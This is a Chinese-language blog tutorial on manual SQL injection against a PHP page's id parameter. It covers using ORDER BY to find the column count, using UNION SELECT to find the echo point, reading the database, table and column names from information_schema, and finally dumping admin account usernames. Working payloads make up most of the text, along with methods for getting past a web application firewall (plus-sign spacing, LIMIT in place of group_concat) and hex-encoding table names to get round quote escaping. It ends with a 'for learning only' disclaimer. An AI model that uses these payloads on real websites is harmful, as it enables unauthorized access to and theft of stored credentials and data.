1,发现存在sql漏洞的网站
当我们发现一个网站存在sql注入的漏洞时,可以使用sql手工注入来获取信息,如下列的网站
sql注入的原理是前端给后端发送指令的时候由于设计者未考虑安全,导致用户可以加上自己的指令进去,从而让服务器完成一些列危险的操作
2,确定列表数名
首先,我们要先知道该网站的列表数名,为什么要知道这个呢?我下面给大家看一下该网站的sql语句
select id,title,content from info where id=0
select后面跟着的是id,title,content三个参数,所以列表数名是3。
可是这个语句我们是看不到的,那么我们要怎么样才能知道列表数名是3呢?
这要用到order by语句了。
.php?id=1 order by 1,2,3,4,5 --+
这是查看列表数名的语句,我来实战给大家看一下
%20是空格的url编码,代表着空格
.php?id=1 order by 1,2 --+
可以看到页面正常,那么我把数字继续加
.php?id=1 order by 1,2,3,4 --+
到4的时候页面报错了,3的时候是正常,说明3是列表数名
3,确定回显点
获取到了列表数名有啥用?只有获取了列表数名才能搭配union来联合注入
union的语句为下
.php?id=0 union select 1,2,3,4,5,6,7 --+
这里id=0要为一个无用参数(如id=0),上面使用order by的id要为有用参数(如id=1)
union语句要求前后数量要一至,该网站的sql语句为下
select id,title,content from info where id=0
前面有id,title,content,三个,所以使用union select 的时候也要有三个
select id,title,content from info where id=0 union select 1,2,3 --+
输入到网站里的效果为
发现该网站有防火墙waf,我们的union被拦截了,不过没事,我们可以绕过他。
这个防火墙是wts,该防火墙绕过的一个方法是将空格改为+
.php?id=0+union+select+1,2,3 --+
成功绕过,并且知道了回显点为3
网站里不是所有的参数都会显示的,只有部分参数会显示,这就是回显点。我们输入获取库名,表名的指令后需要我们能够看到,所以我们就是要在回显点输入,这便是为什么要确定回显点
4,获取库名
database():这个函数的作用是获取库名,将他输在回显点上
.php?id=0+union+select+1,2,database() --+
这就获取到了库名
5,获取表名
接下来我们要获取数据库中的数据表,语句如下
.php?id=0 +union+select+1,2,table_name+from+information_schema.tables+where+table_schema=database() --+
至于schema这个东西可以自己去其他文章了解一下,这边我只讲如何操作。
获取到一个表名,那么如何获取到全部表名呢?可以用到group_concat()函数
.php?id=0 +union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema=database() --+
被防火墙制裁了,说明group_concat()用不了,但这还不足以让我老实,我们可以用limit来搞
.php?id=0 +union+select+1,2,table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1 --+
limit是一个灵活的取数标签,作用是取出指定的文章。
limit='0,1',表示从第一个文章开始,取1篇文章。
limit='1,1',表示从第二个文章开始,取1篇文章。
limit='2,3',表示从第三个文章开始,取3篇文章。
以此类推,用法有点类似row标签,但是比row更加灵活。
原文链接:https://blog.csdn.net/csdnAaron/article/details/82884753
手动输入有点慢,不过可以放到burp中快速查询,这里就不介绍了,可以移步至其他文章
我这里直接查询1,1
获取到了一个表名
6,获取字段
获取字段就是改为column
.php?id=0+union+select+1,2,column_name+from+information_schema.columns+where+table_name='admin_login' --+
报错了,我们可以发现admin_login左右两边的单引号被转义成\'导致语句错误,之前我们用的是database()函数所以不会出现该问题,那么现在如何解决呢?
一个办法是使用hex编码,去网上搜索hex在线编码,将admin_login编码一下
使用方法是0x61646D696E5F6C6F67696E
.php?id=0+union+select+1,2,column_name+from+information_schema.columns+where+table_name=0x61646D696E5F6C6F67696E --+
成功获取到字段
7,查看字段
直接亮代码
.php?id=0+union+select+1,2,username+from+admin_login --+
第一个账号是admin,这就完成了一次sql注入查看信息了(仅供学习参考使用)
标签:schema,union,--+,sql,php,id,select,注入 From: https://blog.csdn.net/2401_86737011/article/details/142964403